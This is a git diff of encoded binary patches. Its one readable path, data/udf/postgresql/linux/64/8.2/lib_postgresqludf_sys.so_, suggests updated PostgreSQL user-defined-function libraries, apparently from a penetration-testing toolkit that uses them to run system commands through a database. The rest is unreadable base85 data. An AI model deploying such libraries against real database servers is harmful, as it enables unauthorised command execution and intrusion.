z{+>f(vszk7h|KsIA(w-X(6-(&9_x{T4amal?T!YM?pirPZ4bp$>Ddey{|!HSF@k^w zdKqoH&mr!NW+wq}rD$AqM}0SSCe1?I^C|qA_aw5ZEKkf4^e3DT%o`x7vyx z3~D9Y8!OvngZ=cK+fycrN2oKCq3a>4kI~DImm`|shjdc1PWtBaP>oU#LsKn4$WE9? zU3<>Z7`u_;6FHN%oeAEdAb{z7syjuJH3NI{n+PxG!A3a?*6bAP3lba2G^jt({!EwM zc~0e^9-7=0KVR`in2vNT`EkQbk{%4W;fWURte##GI9lXJS7d%Yq&@Kd4{$2T3wxiwA7aiz4(4*{^wLTXam1GA-SkL>Sx55 zumbGFVH)h_ZF}m!^wuOxY-@N?;(@ya%AJ-s?eI1hg;<`yNR$|EWtN!>Eevgdz$Q=# z&?nfO`;H`;ucb`{vsnWV^2)&e4|C zLt96?Fo=R3oqhajziP?pNEr7k3tI44HNZ~IIYfNiB{T-G5%{bC5KpS+?9z57;Sddf<0R#Z>qsyIw+*V45Klz9=D{6(Fcy>AB%Pa zTt;<(jCbVk((-3hA%T%rP86}hq6SwIpBhu3)*!wE^1>l%A;cuHpKk@FS}+nIfEez3L-b9w1jO(u$wy=ENesys#Wa<2U#iXc z?{xPxUtlCq7CjqwquT^=ZCznVKRQPXXv|!++(eFBn>BTulmqbf?P6*tAoUo4yUCYm z)RHr5guhm=V!I}t>|Eyf(Kb-Q_P%>We8k+sDHpMP?C<0c$ z2`fUvV2WE%zNl;A@^QaFUco%ZedP(!`Y%JjpTFIxPE4BsS$T4yHNN&u$^Xu6grWwLz4z8?U+)d#Ze*pe*RUn-tzq`N&eBr z?chS7LH6k$rb^`608l2lG#gK$Mh+}!=p!)cz{57#;P=GTlkflIUsB%rJM-crCLdqt zhm_*WHtwA8ilN0^=3VcFP8d0gEQcYC@#Ef_B1t0(p>CbV@o}%R`Crkv%^ICr`zbaV zbG-u|l!J#B%mC)}uTU1EQ-+wmtlV$k{mG#Zld<4FV`nVo4x&}tWAD|w@RLEtAJ5+l z3Fn>Xax6SPHX?B7cN2go$3uacmjHoEW;o!Jt5|adVnB%-}{Ib zrcxR$<3v4Ky}P5bc>}fDqnsW?1{9MxR}R6^BU-AfLlavcd)RCY<)l%kF*to$Qg{48 z-Y4f&zXZXQ|)(oXh&`)xo;#pXyq&YL?t)8u`brG0A!H3myXOYt)mE>Mb zOfji2rRMs}Mcj@018Zx}(^z{rhZ~UQ-*SUGyQ45{|FeJZyEH_Ndz%mjMBm<*rux!# zc{9^wT=xHHNi$u%t)WTYc`&VAZxm9{u`Z&h_pylnq3z5O)P#SIR=WmP91@3Yfhea) zI@k0IsHBr={*o)ZIHOGLI+TyXCttk&wiq>mR7kaVb>8wS9`W9t-p3t07?!K6L8 zwLD8@5;r^obYX^GvyvM)PmR8p@QY9l ze5#Z&4?S(N9*XZgfD@f*CgGE@maKD2Ftl2o8pmrTziN-v>Y)zb7&nE>0r2?Itmq4J zImvcR)w#f{UWNIWl--mcX*w6jAVf@~2Kr2uGK8PV4At16jq{`pb?e?A^>5m@w1cB8 z^S^|ExfIu+JhZOC9O)otamliW5L=_fa;A`wxq8_?9?Lg+7{|pgg+cX5SxvRUn@b6@ zQlN_=B2o2-Nb-Z0yG57y)4HM}`CFFqsz8TkfD4MTjBA_ANQ#>SrDO0b5X*NMP`-ex rm%Dqrfs@;-lsLMGn=|h+H9O45@BqLx8-Rp3@C}WscAu0HR+>dia)xhQ literal 3257 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 rru`0@LAQH(8sB%s diff --git a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ index 7e8760c7e3602f456a98ead8bd839631011e08d4..f69fbc0fe20d5673a78da76df1106214a5fc7115 100644 GIT binary patch literal 2561 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 YESx{0S(HWeux-7(K*?~P*g@mQ<>9&Sa{vGU literal 2562 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 